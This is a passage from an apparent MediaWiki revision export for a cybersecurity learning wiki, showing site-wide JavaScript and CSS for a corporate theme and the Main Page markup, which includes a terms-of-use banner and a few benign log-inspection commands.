heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var reset = document.createElement('button'); reset.type = 'button'; reset.className = 'wc-terms-reset'; reset.textContent = 'Terms & cookies';
var footer = document.querySelector('#footer'); if (footer) footer.append(reset);
if (footer && mw.config.get('wgIsMainPage')) {
var tools = document.createElement('div'); tools.className = 'wc-home-tools';
tools.append(link('Page history', mw.util.getUrl('Main Page', { action: 'history' })));
if (mw.config.get('wgIsProbablyEditable')) tools.append(link('Edit Main Page', mw.util.getUrl('Main Page', { action: 'edit' })));
footer.append(tools);
}
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });
reset.addEventListener('click', function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });
});
});

/* END WikiCyber corporate v1 */

MediaWiki:Common.js

2026-10-16T20:32:37Z

AdminUser: Update favicon and remove requested footer links

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var footer = document.querySelector('#footer');
if (footer && mw.config.get('wgIsMainPage')) {
var tools = document.createElement('div'); tools.className = 'wc-home-tools';
tools.append(link('Page history', mw.util.getUrl('Main Page', { action: 'history' })));
if (mw.config.get('wgIsProbablyEditable')) tools.append(link('Edit Main Page', mw.util.getUrl('Main Page', { action: 'edit' })));
footer.append(tools);
}
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); var content = document.getElementById('content'); if (content) { content.setAttribute('tabindex', '-1'); content.focus({ preventScroll: true }); } });
});
});

/* END WikiCyber corporate v1 */

MediaWiki:Disclaimers

2026-10-16T20:32:36Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Privacy

2026-10-16T20:32:36Z

AdminUser: Update favicon and remove requested footer links

MediaWiki:Common.js

2026-10-16T20:25:20Z

AdminUser: Deploy approved WikiCyber corporate theme

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var reset = document.createElement('button'); reset.type = 'button'; reset.className = 'wc-terms-reset'; reset.textContent = 'Terms & cookies';
var footer = document.querySelector('#footer'); if (footer) footer.append(reset);
if (footer && mw.config.get('wgIsMainPage')) {
var tools = document.createElement('div'); tools.className = 'wc-home-tools';
tools.append(link('Page history', mw.util.getUrl('Main Page', { action: 'history' })));
if (mw.config.get('wgIsProbablyEditable')) tools.append(link('Edit Main Page', mw.util.getUrl('Main Page', { action: 'edit' })));
footer.append(tools);
}
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });
reset.addEventListener('click', function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });
});
});

/* END WikiCyber corporate v1 */

Main Page

2026-10-16T20:25:19Z

AdminUser: Deploy approved WikiCyber corporate theme

__NOTOC__
<div class="wc-corporate" aria-label="Main page">
<div class="enterprise-hero"><div class="enterprise-hero-inner">
<div><h1>Understand systems.<br><span>Build your defenses.</span></h1><p class="hero-intro">A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.</p><div class="hero-actions">[[#topics|<span class="button primary">Explore the knowledge base <span aria-hidden="true">→</span></span>]][[Special:AllPages|<span class="text-link">Read an article ↗</span>]]</div></div>
<div class="hero-art" role="img" aria-label="WikiCyber connects operating systems, network security, and digital forensics knowledge">
<div class="art-heading"><span class="wc-diagram-brand"></span><span>WikiCyber</span></div>
<div class="art-core"><strong>Knowledge from systems to security.</strong></div><div class="art-connector"></div>
<div class="art-branches"><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-systems"></span>Operating systems</div></div><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-network"></span>Network security</div></div><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-forensics"></span>Digital forensics</div></div></div>
</div>
</div></div>
<div class="knowledge-strip"><div class="knowledge-strip-inner"><strong>Find the knowledge you need.</strong><div>[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco & networking]][[:Category:Windows Forensics|Digital forensics]]</div></div></div>
<div class="home-section" id="topics" aria-labelledby="topics-title"><div class="section-heading"><h2 id="topics-title">Build on a stronger<br>technical foundation.</h2></div>
<div class="topic-grid">
<div class="topic-card"><span class="topic-icon blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p>[[:Category:Windows|Explore Windows →]]</div>
<div class="topic-card"><span class="topic-icon green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Permissions, services, account auditing, and practical command-line guidance.</p>[[:Category:Linux|Explore Linux →]]</div>
<div class="topic-card"><span class="topic-icon blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Networking concepts, routing, and the configuration behind secure connections.</p>[[:Category:Cisco|Explore networking →]]</div>
<div class="topic-card"><span class="topic-icon green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Event logs, system artifacts, and methods for understanding what happened.</p>[[:Category:Windows Forensics|Explore forensics →]]</div>
</div><p id="search-status" class="muted" role="status" aria-live="polite"></p>
</div>
<div class="enterprise-feature"><div class="enterprise-feature-inner"><div><h2>Follow the evidence.<br>Understand the system.</h2><p>Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.</p>[[:Category:Windows Forensics|<span class="text-link">Explore the forensics collection →</span>]]</div><div class="terminal"><div><span>linux · investigation</span></div><pre><span># Establish a starting point</span>
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div></div></div>
<div class="contribution-section" id="contribute"><h2>Contribute your experience.<br>Help improve the reference.</h2><div><p>WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.</p>[[Help:Your first article|<span class="text-link">Writing your first article ?</span>]]</div></div>
<div class="corporate-rule" aria-hidden="true"></div>
</div>

MediaWiki:Common.css

2026-10-16T20:25:18Z

AdminUser: Deploy approved WikiCyber corporate theme

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card>a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner>div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal>div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url('/images/branding/theme-v1/wikicyber-mark-135.svg') center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url('/images/branding/theme-v1/icon-systems.svg?v=2')}.skin-vector-2022 .wc-diagram-network{background-image:url('/images/branding/theme-v1/icon-network.svg?v=2')}.skin-vector-2022 .wc-diagram-forensics{background-image:url('/images/branding/theme-v1/icon-forensics.svg?v=2')}
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}
/* Reading the homepage is a landing-page experience; editing retains Vector UI. */
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-body{display:block;width:100%}
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-body-header,
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .vector-page-toolbar{display:none}
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-page-container{max-width:none;padding:0}
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) #bodyContent{width:100%;max-width:none;box-sizing:border-box}
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) #mw-content-text{margin-top:0;width:100%}
body.skin-vector-2022.page-Main_Page.action-view:not(.ve-active) .mw-parser-output{width:100%;max-width:none}
.skin-vector-2022 .wc-home-tools{display:flex;gap:18px;font-size:12px;margin-top:14px}

.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}
.skin-vector-2022 .enterprise-hero:after{content:'';position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}
.skin-vector-2022 .art-heading img{width:34px;height:34px}
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}
.skin-vector-2022 .art-branches:before{content:'';position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}
.skin-vector-2022 .art-branches>div{position:relative;padding-top:22px;text-align:center}
.skin-vector-2022 .art-branches>div:before{content:'';width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}
.skin-vector-2022 .knowledge-strip-inner>div{display:flex;gap:35px;flex-wrap:wrap}
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}
.skin-vector-2022 .enterprise-feature .terminal>div{padding:15px 20px}
.skin-vector-2022 .enterprise-feature .terminal>div span{font-size:11px}
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}
.skin-vector-2022 .home-section #search-status:empty{display:none}
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}
.skin-vector-2022 .corporate-nav{gap:17px}
.skin-vector-2022 .brand{min-width:220px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .brand small{font-size:9px}
.skin-vector-2022 .search{max-width:240px}
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}
.skin-vector-2022 .enterprise-hero h1{font-size:53px}
.skin-vector-2022 .hero-art{padding:22px}
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}
.skin-vector-2022 .home-section .topic-card{min-height:270px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:25px}
}
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}
.skin-vector-2022 .section-description{max-width:580px}
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}
.skin-vector-2022 .contribution-section h2{max-width:none}
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}
}
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}
.skin-vector-2022 .brand{min-width:0}
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}
.skin-vector-2022 .layout{display:block;padding:0 20px}
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}
.skin-vector-2022 .page-toolbar>div{gap:20px;white-space:nowrap}
.skin-vector-2022 .page-toolbar a{font-size:11px}
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}
.skin-vector-2022 .home-section{padding:50px 25px}
.skin-vector-2022 .home-section h2{font-size:32px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}
.skin-vector-2022 .enterprise-feature h2{font-size:32px}
.skin-vector-2022 .contribution-section h2{font-size:29px}
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:12px 22px}
.skin-vector-2022 .hero-art{padding:24px}
.skin-vector-2022 .article-heading h1{font-size:34px}
}
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}
.skin-vector-2022 .home-section .topic-card{min-height:245px}
